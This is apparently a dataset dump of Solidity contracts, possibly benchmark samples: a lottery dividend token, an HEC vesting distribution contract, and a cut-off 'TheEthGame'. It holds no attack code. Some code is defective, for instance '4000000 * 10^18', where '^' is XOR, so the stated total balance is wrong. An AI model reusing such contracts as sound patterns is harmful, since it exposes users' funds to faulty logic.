}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
//==============================================================================
// End: This part comes from openzeppelin-solidity
//==============================================================================
contract LotteryInterface {
function checkLastMintData(address addr) external;
function getLastMintAmount(address addr) view external returns(uint256, uint256);
function getReferrerEarnings(address addr) view external returns(uint256);
function checkReferrerEarnings(address addr) external;
function deposit() public payable;
}
contract YHToken is StandardBurnableToken, Ownable {
string public constant name = "YHToken";
string public constant symbol = "YHT";
uint8 public constant decimals = 18;
uint256 constant private kAutoCombineBonusesCount = 50; // if the last two balance snapshot records are not far apart, they will be merged automatically.
struct Bonus {
uint256 payment; // payment of dividends
uint256 currentTotalSupply; // total supply at the payment time point
}
struct BalanceSnapshot {
uint256 balance; // balance of snapshot
uint256 bonusIdBegin; // begin of bonusId
uint256 bonusIdEnd; // end of bonusId
}
struct User {
uint256 extraEarnings;
uint256 bonusEarnings;
BalanceSnapshot[] snapshots; // the balance snapshot array
uint256 snapshotsLength; // the length of balance snapshot array
}
LotteryInterface public Lottery;
uint256 public bonusRoundId_; // next bonus id
mapping(address => User) public users_; // user informations
mapping(uint256 => Bonus) public bonuses_; // the records of all bonuses
event Started(address lottery);
event AddTotalSupply(uint256 addValue, uint256 total);
event AddExtraEarnings(address indexed from, address indexed to, uint256 amount);
event AddBonusEarnings(address indexed from, uint256 amount, uint256 bonusId, uint256 currentTotalSupply);
event Withdraw(address indexed addr, uint256 amount);
constructor() public {
totalSupply_ = 0; //initial is 0
bonusRoundId_ = 1;
}
modifier isLottery() {
require(msg.sender == address(Lottery));
_;
}
function start(address lottery) onlyOwner public {
require(Lottery == address(0));
Lottery = LotteryInterface(lottery);
emit Started(lottery);
}
function balanceSnapshot(address addr, uint256 bonusRoundId) private {
uint256 currentBalance = balances[addr];
User storage user = users_[addr];
if (user.snapshotsLength == 0) {
user.snapshotsLength = 1;
user.snapshots.push(BalanceSnapshot(currentBalance, bonusRoundId, 0));
}
else {
BalanceSnapshot storage lastSnapshot = user.snapshots[user.snapshotsLength - 1];
assert(lastSnapshot.bonusIdEnd == 0);
// same as last record point just updated balance
if (lastSnapshot.bonusIdBegin == bonusRoundId) {
lastSnapshot.balance = currentBalance;
}
else {
assert(lastSnapshot.bonusIdBegin < bonusRoundId);
// if this snapshot is not the same as the last time, automatically merges part of the earnings
if (bonusRoundId - lastSnapshot.bonusIdBegin < kAutoCombineBonusesCount) {
uint256 amount = computeRoundBonuses(lastSnapshot.bonusIdBegin, bonusRoundId, lastSnapshot.balance);
user.bonusEarnings = user.bonusEarnings.add(amount);
lastSnapshot.balance = currentBalance;
lastSnapshot.bonusIdBegin = bonusRoundId;
lastSnapshot.bonusIdEnd = 0;
}
else {
lastSnapshot.bonusIdEnd = bonusRoundId;
if (user.snapshotsLength == user.snapshots.length) {
user.snapshots.length += 1;
}
user.snapshots[user.snapshotsLength++] = BalanceSnapshot(currentBalance, bonusRoundId, 0);
}
}
}
}
function mint(address to, uint256 amount, uint256 bonusRoundId) private {
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
balanceSnapshot(to, bonusRoundId);
}
function mintToFounder(address to, uint256 amount, uint256 normalAmount) isLottery external {
checkLastMint(to);
uint256 value = normalAmount.add(amount);
totalSupply_ = totalSupply_.add(value);
emit AddTotalSupply(value, totalSupply_);
mint(to, amount, bonusRoundId_);
}
function mintToNormal(address to, uint256 amount, uint256 bonusRoundId) isLottery external {
require(bonusRoundId < bonusRoundId_);
mint(to, amount, bonusRoundId);
}
function checkLastMint(address addr) private {
Lottery.checkLastMintData(addr);
}
function balanceSnapshot(address addr) private {
balanceSnapshot(addr, bonusRoundId_);
}
function getBalanceSnapshot(address addr, uint256 index) view public returns(uint256, uint256, uint256) {
BalanceSnapshot storage snapshot = users_[addr].snapshots[index];
return (snapshot.bonusIdBegin,
snapshot.bonusIdEnd,
snapshot.balance);
}
function transfer(address _to, uint256 _value) public returns (bool) {
checkLastMint(msg.sender);
checkLastMint(_to);
super.transfer(_to, _value);
balanceSnapshot(msg.sender);
balanceSnapshot(_to);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
checkLastMint(_from);
checkLastMint(_to);
super.transferFrom(_from, _to, _value);
balanceSnapshot(_from);
balanceSnapshot(_to);
return true;
}
function _burn(address _who, uint256 _value) internal {
checkLastMint(_who);
super._burn(_who, _value);
balanceSnapshot(_who);
}
function unused(uint256) pure private {}
function balanceOf(address _owner) public view returns (uint256) {
(uint256 lastMintAmount, uint256 lastBonusRoundId) = Lottery.getLastMintAmount(_owner);
unused(lastBonusRoundId);
return balances[_owner].add(lastMintAmount);
}
function transferExtraEarnings(address to) external payable {
if (msg.sender != address(Lottery)) {
require(msg.value > 662607004);
require(msg.value < 66740800000000000000000);
}
users_[to].extraEarnings = users_[to].extraEarnings.add(msg.value);
emit AddExtraEarnings(msg.sender, to, msg.value);
}
function transferBonusEarnings() external payable returns(uint256) {
require(msg.value > 0);
require(totalSupply_ > 0);
if (msg.sender != address(Lottery)) {
require(msg.value > 314159265358979323);
require(msg.value < 29979245800000000000000);
}
uint256 bonusRoundId = bonusRoundId_;
bonuses_[bonusRoundId].payment = msg.value;
bonuses_[bonusRoundId].currentTotalSupply = totalSupply_;
emit AddBonusEarnings(msg.sender, msg.value, bonusRoundId_, totalSupply_);
++bonusRoundId_;
return bonusRoundId;
}
function getEarnings(address addr) view public returns(uint256) {
User storage user = users_[addr];
uint256 amount;
(uint256 lastMintAmount, uint256 lastBonusRoundId) = Lottery.getLastMintAmount(addr);
if (lastMintAmount > 0) {
amount = computeSnapshotBonuses(user, lastBonusRoundId);
amount = amount.add(computeRoundBonuses(lastBonusRoundId, bonusRoundId_, balances[addr].add(lastMintAmount)));
} else {
amount = computeSnapshotBonuses(user, bonusRoundId_);
}
uint256 referrerEarnings = Lottery.getReferrerEarnings(addr);
return user.extraEarnings + user.bonusEarnings + amount + referrerEarnings;
}
function computeRoundBonuses(uint256 begin, uint256 end, uint256 balance) view private returns(uint256) {
require(begin != 0);
require(end != 0);
uint256 amount = 0;
while (begin < end) {
uint256 value = balance * bonuses_[begin].payment / bonuses_[begin].currentTotalSupply;
amount += value;
++begin;
}
return amount;
}
function computeSnapshotBonuses(User storage user, uint256 lastBonusRoundId) view private returns(uint256) {
uint256 amount = 0;
uint256 length = user.snapshotsLength;
for (uint256 i = 0; i < length; ++i) {
uint256 value = computeRoundBonuses(user.snapshots[i].bonusIdBegin,
i < length - 1 ? user.snapshots[i].bonusIdEnd : lastBonusRoundId,
user.snapshots[i].balance);
amount = amount.add(value);
}
return amount;
}
function combineBonuses(address addr) private {
checkLastMint(addr);
User storage user = users_[addr];
if (user.snapshotsLength > 0) {
uint256 amount = computeSnapshotBonuses(user, bonusRoundId_);
if (amount > 0) {
user.bonusEarnings = user.bonusEarnings.add(amount);
user.snapshotsLength = 1;
user.snapshots[0].balance = balances[addr];
user.snapshots[0].bonusIdBegin = bonusRoundId_;
user.snapshots[0].bonusIdEnd = 0;
}
}
Lottery.checkReferrerEarnings(addr);
}
function withdraw() public {
combineBonuses(msg.sender);
uint256 amount = users_[msg.sender].extraEarnings.add(users_[msg.sender].bonusEarnings);
if (amount > 0) {
users_[msg.sender].extraEarnings = 0;
users_[msg.sender].bonusEarnings = 0;
msg.sender.transfer(amount);
}
emit Withdraw(msg.sender, amount);
}
function withdrawForBet(address addr, uint256 value) isLottery external {
combineBonuses(addr);
uint256 extraEarnings = users_[addr].extraEarnings;
if (extraEarnings >= value) {
users_[addr].extraEarnings -= value;
} else {
users_[addr].extraEarnings = 0;
uint256 remain = value - extraEarnings;
require(users_[addr].bonusEarnings >= remain);
users_[addr].bonusEarnings -= remain;
}
Lottery.deposit.value(value)();
}
function getUserInfos(address addr) view public returns(uint256, uint256, uint256) {
return (totalSupply_,
balanceOf(addr),
getEarnings(addr));
}
}
| 215,194 | 13,555 |
a81b3b83f6e94b4e8a071bf80f91eebe8b6ce36f7886d480ebbf32d076f5b1b7
| 36,684 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/f8/f89f36d24172d8340eb9a6ba5fec02408c970361_HEC_LP_Distribution.sol
| 5,003 | 19,721 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
abstract contract HEC_Base_Distribution is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeMath for uint32;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 public constant TGE_EPOCH_TIME = 1642600800; //UTC: Wednesday, January 19, 2022 2:00:00 PM
event RewardClaimed(address indexed user, uint256 amount);
address public immutable HeC;
uint256 public totalDebt;
mapping(address => uint) public walletIndices;
WalletInfo[] public wallets;
struct WalletInfo {
address recipient;
uint256 unlockedBalance;
uint256 lockedBalance;
uint256 initialBalance;
uint256 releaseAmountPerDay;
uint256 claimableEpochTime;
}
function getTotalContractBalance() public virtual pure returns(uint256);
function getCliffEndEpochTime() public virtual pure returns(uint256);
function getVestingEndEpochTime() public virtual pure returns(uint256);
function getTGEUnlockPercentage() public virtual pure returns(uint256);
constructor(address _hec) {
require(_hec != address(0));
HeC = _hec;
totalDebt = 0;
}
function claim() external nonReentrant {
uint256 index = walletIndices[msg.sender];
require(uint256(block.timestamp) > TGE_EPOCH_TIME, "Request not valid.");
require(wallets[ index ].recipient == msg.sender, "Claim request is not valid.");
require(wallets[ index ].lockedBalance.add(wallets[ index ].unlockedBalance) > 0, "There is no balance left to claim.");
uint256 valueToSendFromVesting = calculateClaimableAmountForVesting(index);
uint256 valueToSendFromTGE = wallets[ index ].unlockedBalance;
uint256 valueToSendTOTAL = valueToSendFromVesting.add(valueToSendFromTGE);
require(valueToSendTOTAL > 0, "There is no balance to claim at the moment.");
uint256 vestingDayCount = calculateVestingDayCount(wallets[ index ].claimableEpochTime, uint256(block.timestamp));
wallets[ index ].lockedBalance = wallets[ index ].lockedBalance.sub(valueToSendFromVesting);
wallets[ index ].unlockedBalance = wallets[ index ].unlockedBalance.sub(valueToSendFromTGE);
wallets[ index ].claimableEpochTime = wallets[ index ].claimableEpochTime.add(vestingDayCount.mul(SECONDS_PER_DAY));
totalDebt = totalDebt.sub(valueToSendTOTAL);
IERC20(HeC).safeTransfer(msg.sender, valueToSendTOTAL);
emit RewardClaimed(msg.sender, valueToSendTOTAL);
}
function claimable() public view returns (uint256) {
uint256 index = walletIndices[ msg.sender ];
require(wallets[ index ].recipient == msg.sender, "Request not valid.");
if (uint256(block.timestamp) <= TGE_EPOCH_TIME)
return 0;
return wallets[ index ].unlockedBalance.add(calculateClaimableAmountForVesting(index));
}
function calculateClaimableAmountForVesting(uint256 _index) private view returns (uint256) {
//initial value of current claimable time is the ending time of cliff/lock period
//after first claim, this value is iterated forward by the time unit amount claimed.
//for instance, this calculations gives the number of days passed since last claim (or TGE time)
//we use the number of seconds passed and divide it by number of seconds per day
uint256 vestingDayCount = calculateVestingDayCount(wallets[ _index ].claimableEpochTime, uint256(block.timestamp));
uint256 valueToSendFromVesting = wallets[ _index ].releaseAmountPerDay.mul(vestingDayCount);
//If claim time is after Vesting End Time, send all the remaining tokens.
if (uint256(block.timestamp) > getVestingEndEpochTime())
valueToSendFromVesting = wallets[ _index ].lockedBalance;
if (valueToSendFromVesting > wallets[ _index ].lockedBalance) {
valueToSendFromVesting = wallets[ _index ].lockedBalance;
}
return valueToSendFromVesting;
}
function calculateVestingDayCount(uint256 _start_time, uint256 _end_time) private pure returns (uint256) {
if (_end_time <= _start_time)
return 0;
return (_end_time - _start_time).div(SECONDS_PER_DAY);
}
function _addRecipient(address _recipient, uint256 _tokenAmount) internal {
uint256 index = walletIndices[ _recipient ];
if(wallets.length > 0) {
require(index == 0, "Address already in list.");
}
require(_recipient != address(0), "Recipient address cannot be empty.");
require(_tokenAmount > 0, "Token amount invalid.");
require(totalDebt.add(_tokenAmount) <= IERC20(HeC).balanceOf(address(this)), "Cannot add this debt amount due to the balance of this Contract.");
uint256 vestingDayCount = calculateVestingDayCount(getCliffEndEpochTime(), getVestingEndEpochTime());
require(vestingDayCount > 0, "Unexpected vesting day count.");
uint256 _unlockedBalance = _tokenAmount.mul(getTGEUnlockPercentage()).div(100);
uint256 _lockedBalance = _tokenAmount.sub(_unlockedBalance);
uint256 _releaseAmountPerDay = _lockedBalance.div(vestingDayCount);
wallets.push(WalletInfo({
recipient: _recipient,
unlockedBalance: _unlockedBalance,
lockedBalance: _lockedBalance,
initialBalance: _tokenAmount,
releaseAmountPerDay: _releaseAmountPerDay,
claimableEpochTime: getCliffEndEpochTime()
}));
walletIndices[_recipient] = wallets.length - 1;
totalDebt = totalDebt.add(_tokenAmount);
}
function _removeRecipient(uint256 _index, address _recipient) internal {
require(_recipient == wallets[ _index ].recipient, "Recipient index does not match.");
totalDebt = totalDebt.sub(wallets[ _index ].lockedBalance).sub(wallets[ _index ].unlockedBalance);
wallets[ _index ].recipient = address(0);
wallets[ _index ].releaseAmountPerDay = 0;
wallets[ _index ].claimableEpochTime = 0;
wallets[ _index ].unlockedBalance = 0;
wallets[ _index ].lockedBalance = 0;
}
function addRecipients(address[] memory _recipients, uint256[] memory _tokenAmounts) external onlyOwner() {
require(_recipients.length == _tokenAmounts.length, "Array sizes do not match.");
for(uint i = 0; i < _recipients.length; i++) {
_addRecipient(_recipients[i], _tokenAmounts[i]);
}
}
function removeRecipients(uint256[] memory _indices, address[] memory _recipients) external onlyOwner() {
require(_recipients.length == _indices.length, "Array sizes do not match.");
for(uint256 i = 0; i < _recipients.length; i++) {
_removeRecipient(_indices[i], _recipients[i]);
}
}
}
contract HEC_LP_Distribution is HEC_Base_Distribution {
//Constants - In accordance with Token Distribution Plan
uint256 public constant TOTAL_CONTRACT_BALANCE = 4000000 * 10^18; //4% (4 million)
uint256 public constant TGE_UNLOCK_PERCENTAGE = 20; //20%
uint256 public constant CLIFF_END_EPOCH_TIME = TGE_EPOCH_TIME;
uint256 public constant VESTING_END_EPOCH_TIME = 1650376800; //UTC: Tuesday, April 19, 2022 2:00:00 PM
constructor(address _hec) HEC_Base_Distribution(_hec) {
require(_hec != address(0));
}
function getTotalContractBalance() public override pure returns(uint256) {
return TOTAL_CONTRACT_BALANCE;
}
function getCliffEndEpochTime() public override pure returns(uint256){
return CLIFF_END_EPOCH_TIME;
}
function getVestingEndEpochTime() public override pure returns(uint256){
return VESTING_END_EPOCH_TIME;
}
function getTGEUnlockPercentage() public override pure returns(uint256){
return TGE_UNLOCK_PERCENTAGE;
}
}
| 112,887 | 13,556 |
1fbb8d10cd306a38b691530d9f259732b1ce15d78f2a869191e4821669ba1b87
| 18,512 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x92b523389e12bd63905c07190a05bdad0b0a1588.sol
| 4,740 | 17,396 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract TheEthGame {
using SafeMath for uint256;
struct Player {
uint256 score;
uint256 lastCellBoughtOnBlockNumber;
uint256 numberOfCellsOwned;
uint256 numberOfCellsBought;
uint256 earnings;
uint256 partialHarmonicSum;
uint256 partialScoreSum;
address referreal;
bytes32 name;
}
struct Cell {
address owner;
uint256 price;
}
address public owner;
uint256 constant private NUMBER_OF_LINES = 6;
uint256 constant private NUMBER_OF_COLUMNS = 6;
uint256 constant private NUMBER_OF_CELLS = NUMBER_OF_COLUMNS * NUMBER_OF_LINES;
uint256 constant private DEFAULT_POINTS_PER_CELL = 3;
uint256 constant private POINTS_PER_NEIGHBOUR = 1;
uint256 constant private CELL_STARTING_PRICE = 0.01 ether;
uint256 constant private BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME = 10000;
uint256 constant private PRICE_INCREASE_PERCENTAGE = uint(2);
uint256 constant private REFERREAL_PERCENTAGE = uint(10);
uint256 constant private POT_PERCENTAGE = uint(30);
uint256 constant private DEVELOPER_PERCENTAGE = uint(5);
uint256 constant private SCORE_PERCENTAGE = uint(25);
uint256 constant private NUMBER_OF_CELLS_PERCENTAGE = uint(30);
Cell[NUMBER_OF_CELLS] cells;
address[] private ranking;
mapping(address => Player) players;
mapping(bytes32 => address) nameToAddress;
uint256 public numberOfCellsBought;
uint256 private totalScore;
uint256 private developersCut = 0 ether;
uint256 private potCut = 0 ether;
uint256 private harmonicSum;
uint256 private totalScoreSum;
address private rankOnePlayerAddress;
uint256 private isFirstSinceBlock;
address public trophyAddress;
event Bought (address indexed _from, address indexed _to);
constructor () public {
owner = msg.sender;
trophyAddress = new TheEthGameTrophy();
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function nextPriceOf (uint256 _cellId) public view returns (uint256 _nextPrice) {
return priceOf(_cellId).mul(100 + PRICE_INCREASE_PERCENTAGE) / 100;
}
function priceOf (uint256 _cellId) public view returns (uint256 _price) {
if (cells[_cellId].price == 0) {
return CELL_STARTING_PRICE;
}
return cells[_cellId].price;
}
function earningsFromNumberOfCells (address _address) internal view returns (uint256 _earnings) {
return harmonicSum.sub(players[_address].partialHarmonicSum).mul(players[_address].numberOfCellsBought);
}
function distributeEarningsBasedOnNumberOfCells (address _address) internal {
players[_address].earnings = players[_address].earnings.add(earningsFromNumberOfCells(_address));
players[_address].partialHarmonicSum = harmonicSum;
}
function earningsFromScore (address _address) internal view returns (uint256 _earnings) {
return totalScoreSum.sub(players[_address].partialScoreSum).mul(scoreOf(_address));
}
function distributeEarningsBasedOnScore (address _newOwner, address _oldOwner) internal {
players[_newOwner].earnings = players[_newOwner].earnings.add(earningsFromScore(_newOwner));
players[_newOwner].partialScoreSum = totalScoreSum;
if (_oldOwner != address(0)) {
players[_oldOwner].earnings = players[_oldOwner].earnings.add(earningsFromScore(_oldOwner));
players[_oldOwner].partialScoreSum = totalScoreSum;
}
}
function earningsOfPlayer () public view returns (uint256 _wei) {
return players[msg.sender].earnings.add(earningsFromScore(msg.sender)).add(earningsFromNumberOfCells(msg.sender));
}
function getRankOnePlayer (address _oldOwner) internal view returns (address _address, uint256 _oldOwnerIndex) {
address rankOnePlayer;
uint256 oldOwnerIndex;
for (uint256 i = 0; i < ranking.length; i++) {
if (scoreOf(ranking[i]) > scoreOf(rankOnePlayer)) {
rankOnePlayer = ranking[i];
